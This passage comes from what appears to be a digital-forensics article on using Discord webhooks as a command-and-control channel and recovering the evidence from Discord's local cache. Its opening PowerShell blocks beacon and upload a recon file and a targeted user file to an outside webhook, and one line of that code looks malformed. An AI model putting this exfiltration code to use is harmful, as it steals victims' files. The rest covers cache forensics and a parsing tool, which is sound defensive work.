        &lt;span class=&quot;token variable&quot;&gt;$jsonContentRecon&lt;/span&gt; = &lt;span class=&quot;token function&quot;&gt;New-Object&lt;/span&gt; System&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Net&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Http&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;StringContent&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$jsonRecon&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token namespace&quot;&gt;[System.Text.Encoding]&lt;/span&gt;::UTF8&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;application/json&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;token variable&quot;&gt;$contentRecon&lt;/span&gt; = &lt;span class=&quot;token function&quot;&gt;New-Object&lt;/span&gt; System&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Net&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Http&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;MultipartFormDataContent
        &lt;span class=&quot;token variable&quot;&gt;$contentRecon&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Add&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$jsonContentRecon&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;payload_json&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;token variable&quot;&gt;$contentRecon&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Add&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$fileContent&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;file&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;recon.txt&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;token variable&quot;&gt;$respRecon&lt;/span&gt; = &lt;span class=&quot;token variable&quot;&gt;$client&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;PostAsync&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$webhook&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$contentRecon&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Result
        &lt;span class=&quot;token function&quot;&gt;Write-Host&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Uploaded recon file at &lt;span class=&quot;token function&quot;&gt;$&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;Get-Date&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/span&gt;: &lt;span class=&quot;token function&quot;&gt;$&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$respRecon&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;StatusCode&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&quot;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;further-exfiltration&quot;&gt;Further exfiltration&lt;/h3&gt;
&lt;pre class=&quot;language-powershell&quot; data-language=&quot;powershell&quot;&gt;&lt;code class=&quot;language-powershell&quot;&gt;    &lt;span class=&quot;token comment&quot;&gt;# ─── 6. Targeted File: confidential.jpg (every 6th beacon) ─&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$counter&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt; 6 &lt;span class=&quot;token operator&quot;&gt;-eq&lt;/span&gt; 0&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token variable&quot;&gt;$targetFile&lt;/span&gt; = &lt;span class=&quot;token function&quot;&gt;Get-ChildItem&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;Path &lt;span class=&quot;token variable&quot;&gt;$env&lt;/span&gt;:USERPROFILE &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;Recurse &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;Include confidential&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;jpg &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;ErrorAction SilentlyContinue &lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;Select-Object&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;First 1
        &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$targetFile&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;token variable&quot;&gt;$fileBytes&lt;/span&gt; = &lt;span class=&quot;token namespace&quot;&gt;[System.IO.File]&lt;/span&gt;::ReadAllBytes&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$targetFile&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;FullName&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;token variable&quot;&gt;$fileContent&lt;/span&gt; = &lt;span class=&quot;token function&quot;&gt;New-Object&lt;/span&gt; System&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Net&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Http&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ByteArrayContent &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$fileBytes&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;token variable&quot;&gt;$fileContent&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Headers&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ContentType = &lt;span class=&quot;token namespace&quot;&gt;[System.Net.Http.Headers.MediaTypeHeaderValue]&lt;/span&gt;::Parse&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;application/octet-stream&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

            &lt;span class=&quot;token variable&quot;&gt;$jsonTarget&lt;/span&gt; = &lt;span class=&quot;token string&quot;&gt;&apos;{&quot;content&quot;:&quot;:lock: **Targeted Exfil ::confidential.jpg**\n━━━━━━━━━━━━━━━━━━&quot;}&apos;&lt;/span&gt;
            &lt;span class=&quot;token variable&quot;&gt;$jsonContentTarget&lt;/span&gt; = &lt;span class=&quot;token function&quot;&gt;New-Object&lt;/span&gt; System&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Net&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Http&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;StringContent&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$jsonTarget&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token namespace&quot;&gt;[System.Text.Encoding]&lt;/span&gt;::UTF8&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;application/json&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;token variable&quot;&gt;$contentTarget&lt;/span&gt; = &lt;span class=&quot;token function&quot;&gt;New-Object&lt;/span&gt; System&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Net&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Http&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;MultipartFormDataContent
            &lt;span class=&quot;token variable&quot;&gt;$contentTarget&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Add&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$jsonContentTarget&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;payload_json&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;token variable&quot;&gt;$contentTarget&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Add&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$fileContent&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;file&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;confidential.jpg&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

            &lt;span class=&quot;token variable&quot;&gt;$respTarget&lt;/span&gt; = &lt;span class=&quot;token variable&quot;&gt;$client&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;PostAsync&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$webhook&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$contentTarget&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Result
            &lt;span class=&quot;token function&quot;&gt;Write-Host&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Uploaded confidential.jpg at &lt;span class=&quot;token function&quot;&gt;$&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;Get-Date&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/span&gt;: &lt;span class=&quot;token function&quot;&gt;$&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$respTarget&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;StatusCode&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&quot;&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;token function&quot;&gt;Write-Host&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;confidential.jpg not found&quot;&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;sleep-interval&quot;&gt;Sleep interval&lt;/h3&gt;
&lt;pre class=&quot;language-powershell&quot; data-language=&quot;powershell&quot;&gt;&lt;code class=&quot;language-powershell&quot;&gt;    &lt;span class=&quot;token comment&quot;&gt;# ─── Sleep (tweakable beacon interval) ─────────────────────&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;Start-Sleep&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;Seconds 20
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now that we’ve shown how simple it is to abuse Discord webhooks, let’s look at what evidence is left behind for investigators.&lt;/p&gt;
&lt;h2 id=&quot;tracking-attacker-activity&quot;&gt;Tracking attacker activity&lt;/h2&gt;
&lt;p&gt;The below snippet shows PowerShell’s activity log as it pushes the data to the webhook. Each of these lines confirms what was sent and when, so we see regular beaconing to let the attacker know the host is active. It then uploads some data, lists directories, the system uptime and produces a reconnaissance file, followed by the exfiltration of sensitive files such as ‘topsecret.txt’ and ‘confidential.jpg’.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/03-5242ff8e.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/w800/03-5242ff8e.webp 800w, https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/03-5242ff8e.webp 2205w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/03-5242ff8e.webp&quot; alt=&quot;Figure 3: Activity Logs&quot; width=&quot;2205&quot; height=&quot;632&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 3: Activity Logs&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;The &lt;strong&gt;NoContent&lt;/strong&gt; and &lt;strong&gt;OK&lt;/strong&gt; responses are simply the webhook confirming that Discord has successfully received the data. With the activity logs confirming the traffic, we can now see how this output actually appears inside Discord itself.&lt;/p&gt;
&lt;h2 id=&quot;viewing-results-in-discord&quot;&gt;Viewing results in Discord&lt;/h2&gt;
&lt;p&gt;Now that’s out of the way, let’s have a look at what has been exfiltrated to the # ptp-beacon text channel on Discord:&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/04-478b059d.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/w800/04-478b059d.webp 800w, https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/04-478b059d.webp 1168w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/04-478b059d.webp&quot; alt=&quot;Figure 4: Discord Output&quot; width=&quot;1168&quot; height=&quot;1085&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 4: Discord Output&lt;/figcaption&gt;&lt;/figure&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/05-20d43bbf.webp&quot; alt=&quot;Figure 5: Discord Output&quot; width=&quot;561&quot; height=&quot;726&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 5: Discord Output&lt;/figcaption&gt;&lt;/figure&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/06-8622e849.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/w800/06-8622e849.webp 800w, https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/06-8622e849.webp 1942w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/06-8622e849.webp&quot; alt=&quot;Figure 6: Recon.txt&quot; width=&quot;1942&quot; height=&quot;832&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 6: Recon.txt&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;Looks like some pretty top-secret stuff! At this point, we’ve successfully grabbed some user details, reviewed their user directories and stolen some of their sensitive files. But now as the attacker, we need to cover our tracks.&lt;/p&gt;
&lt;h2 id=&quot;wiping-the-evidence&quot;&gt;‘Wiping’ the evidence&lt;/h2&gt;
&lt;p&gt;Now we’ve exfiltrated the data to our C2 server and taken what we need, let’s clean up our mess. I’ve deleted the Discord server, hopefully the victim will never know!&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/07-36a89457.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/w800/07-36a89457.webp 800w, https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/07-36a89457.webp 2302w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/07-36a89457.webp&quot; alt=&quot;Figure 7: Deletion of Discord Server&quot; width=&quot;2302&quot; height=&quot;723&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 7: Deletion of Discord Server&lt;/figcaption&gt;&lt;/figure&gt;
&lt;h2 id=&quot;what-discords-cache-leaves-behind&quot;&gt;What Discord’s cache leaves behind&lt;/h2&gt;
&lt;p&gt;Deleting a server doesn’t erase everything. Discord’s cache on the victim machine tells a very different story…&lt;/p&gt;
&lt;p&gt;Discord stores a local cache using Chromium’s Simple Cache format. In plain terms, that means copies of attachments, emoji, webhooks, and even some thumbnails are stored on the disk under:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;%AppData%\discord\Cache\Cache_Data&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Inside that directory, you’ll find:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;index – The Simple Cache index database&lt;/li&gt;
&lt;li&gt;data_# – Binary cache files, each containing multiple cached objects&lt;/li&gt;
&lt;li&gt;f_###### – Extracted binary objects (images, attachments, etc.)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The key point is persistence, as cached content often persists long after Discord messages or files have been deleted. Their modification timestamps line up with user activity, so investigators can reconstruct exactly when actions took place.&lt;/p&gt;
&lt;p&gt;The cache structure also makes it possible to match file hashes (SHA256) against threat intelligence feeds to confirm if a known malicious file was used. It also makes it possible to recover webhook URLs and API calls not just from cache, but also from memory.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/08-36903aba.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/w800/08-36903aba.webp 800w, https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/08-36903aba.webp 1327w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/08-36903aba.webp&quot; alt=&quot;Figure 8: Discord Cache Folder&quot; width=&quot;1327&quot; height=&quot;919&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 8: Discord Cache Folder&lt;/figcaption&gt;&lt;/figure&gt;
&lt;h2 id=&quot;automating-cache-analysis-with-a-cli-parser-and-a-gui-based-suite-for-forensic-analysis&quot;&gt;Automating Cache Analysis with a CLI parser and a GUI-Based Suite for forensic analysis&lt;/h2&gt;
&lt;p&gt;While some open-source tools exist for parsing Chromium caches, we couldn’t find any that were actively maintained or tailored to Discord’s specific artifacts. To address this, we built a &lt;a href=&quot;https://github.com/jwdfir/discord_cache_parser&quot;&gt;Discord forensic suite: a CLI parser and a GUI based suite for forensic analysis.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Both tools scan the cache folder recursively and extract Discord-related artifacts, such as webhook URLs, attachments, and cached images.&lt;/p&gt;
&lt;h2 id=&quot;discord-forensic-suite-tool-cli-output&quot;&gt;Discord forensic suite: Tool CLI output&lt;/h2&gt;
&lt;p&gt;Below shows an excerpt from the CLI where I have selected my cache directory, provided a title for the report, and chosen where it should be outputted to and in what format. Following on from this, I am able to make decisions on what the report should include; do you want a CSV timeline, do you want to include other cached areas associated with Discord, do you want to enable carving to potentially recover ‘previously existing’ files and is a verbose output required?&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/09-b585ddd6.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/w800/09-b585ddd6.webp 800w, https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/09-b585ddd6.webp 1838w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/09-b585ddd6.webp&quot; alt=&quot;Figure 9: CLI Output&quot; width=&quot;1838&quot; height=&quot;636&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 9: CLI Output&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;Once those options are selected, we can then see how many files have been scanned, and where from, where the reports are stored and a breakdown of the artifacts extracted from the cache.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/10-4ea61142.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/w800/10-4ea61142.webp 800w, https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/10-4ea61142.webp 1747w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/10-4ea61142.webp&quot; alt=&quot;Figure 10: CLI Output&quot; width=&quot;1747&quot; height=&quot;722&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 10: CLI Output&lt;/figcaption&gt;&lt;/figure&gt;
&lt;h2 id=&quot;discord-forensic-suite-tool-gui-output&quot;&gt;Discord forensic suite: Tool GUI output&lt;/h2&gt;
&lt;p&gt;The GUI version provides a clean, user-friendly interface with built-in thumbnail previews of cached images (including emojis, exfiltrated screenshots, and documents). The tool allows users to select the Discord cache folder and then select their required options before parsing the data.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/11-1ea5fdb7.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/w800/11-1ea5fdb7.webp 800w, https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/11-1ea5fdb7.webp 2048w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/11-1ea5fdb7.webp&quot; alt=&quot;Figure 11: Discord Cache Forensic Suite GUI&quot; width=&quot;2048&quot; height=&quot;1282&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 11: Discord Cache Forensic Suite GUI&lt;/figcaption&gt;&lt;/figure&gt;
&lt;h2 id=&quot;reporting-and-recovered-evidence&quot;&gt;Reporting and recovered evidence&lt;/h2&gt;
&lt;p&gt;Below is a snippet of what the tool uncovered and reported back to us in the case of our PTP C2 Discord server. We can see emojis, API calls, attachments, logos and other information, which allows analysts to filter between artifact types.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/12-234958e2.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/w800/12-234958e2.webp 800w, https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/12-234958e2.webp 3096w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/12-234958e2.webp&quot; alt=&quot;Figure 12: HTML Report&quot; width=&quot;3096&quot; height=&quot;1564&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 12: HTML Report&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;From the victim’s perspective, they may be wondering where the images below have derived from, but we know exactly where they’ve come from – that’s the threat actor’s C2 server!&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/13-2fd10785.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/w800/13-2fd10785.webp 800w, https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/13-2fd10785.webp 1572w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/13-2fd10785.webp&quot; alt=&quot;Figure 13: Discord Server&quot; width=&quot;1572&quot; height=&quot;1361&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 13: Discord Server&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;We asked the tool to produce a CSV timeline alongside the HTML report, below shows our CSV output for that, I’ve provided a snippet that displayed some images, a video and the reconnaissance text file the threat actor obtained, which is all stored in Discord’s cache, and has now been parsed in time order.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/14-5a697042.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/w800/14-5a697042.webp 800w, https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/14-5a697042.webp 8849w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/14-5a697042.webp&quot; alt=&quot;Figure 14: CSV Timeline&quot; width=&quot;8849&quot; height=&quot;691&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 14: CSV Timeline&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;We also asked the tool to produce a full CSV report alongside the HTML report and the CSV timeline, below shows a screenshot of those results, displaying some carved files:&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/15-04dc6abb.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/w800/15-04dc6abb.webp 800w, https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/15-04dc6abb.webp 3768w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/discord-as-a-c2-and-the-cached-evidence-left-behind/15-04dc6abb.webp&quot; alt=&quot;Figure 15: CSV Report&quot; width=&quot;3768&quot; height=&quot;594&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;figcaption&gt;Figure 15: CSV Report&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;Back to the clickable HTML report. Below shows the exfiltrated ‘confidential’ file, showing the modified date, the file type and source, a preview of the file, the associated hash value and the location in which the file was recovered from.&lt;/p&gt;
